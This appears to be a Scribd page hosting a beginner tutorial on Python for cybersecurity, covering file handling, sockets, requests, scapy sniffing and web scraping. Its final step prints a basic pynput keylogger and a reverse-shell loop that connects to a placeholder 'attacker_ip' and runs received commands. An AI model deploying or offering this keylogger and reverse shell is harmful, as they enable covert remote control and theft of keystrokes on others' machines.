0% found this document useful (0 votes)
50 views

Python for Cybersecurity Basics

This document provides a step-by-step guide on using Python for cybersecurity, covering core Python concepts such as file handling, OS commands, regex, and exception handling. It also includes networking and socket programming, web scraping techniques with BeautifulSoup, and basic hacking scripts for keylogging and reverse shells. Each step is illustrated with code examples to facilitate understanding and practical application.

Uploaded by

rifatislam11011
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
50 views

Python for Cybersecurity Basics

This document provides a step-by-step guide on using Python for cybersecurity, covering core Python concepts such as file handling, OS commands, regex, and exception handling. It also includes networking and socket programming, web scraping techniques with BeautifulSoup, and basic hacking scripts for keylogging and reverse shells. Each step is illustrated with code examples to facilitate understanding and practical application.

Uploaded by

rifatislam11011
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 3

Python for Cybersecurity - Step-by-Step Guide with Examples

Step 1: Core Python for Cybersecurity

- File Handling: Read/write log files.

Example:

with open('log.txt', 'r') as file:

print(file.read())

- OS & Subprocess:

import os

os.system('whoami')

- Regex:

import re

re.findall(r'\d+', 'User123 logged in')

- Exception Handling:

try:

x=1/0

except ZeroDivisionError:

print('Error caught!')

Step 2: Networking & Sockets

- Socket Programming:

import socket

s = socket.socket()

s.connect(('example.com', 80))
- Requests:

import requests

r = requests.get('http://example.com')

print(r.text)

- Scapy Intro:

from scapy.all import *

sniff(count=5)

Step 3: Web Scraping & OSINT

- BeautifulSoup:

from bs4 import BeautifulSoup

soup = BeautifulSoup('<html>...</html>', 'html.parser')

- WHOIS API:

import whois

print(whois.whois('example.com'))

Step 4: Hacking Scripts & Automation

- Keylogger (basic idea):

from pynput import keyboard

def on_press(key): print(key)

with keyboard.Listener(on_press=on_press) as l: l.join()

- Reverse Shell (concept):

import socket,subprocess
s=socket.socket()

s.connect(('attacker_ip',port))

while True:

cmd=s.recv(1024)

output=subprocess.getoutput(cmd.decode())

s.send(output.encode())

You might also like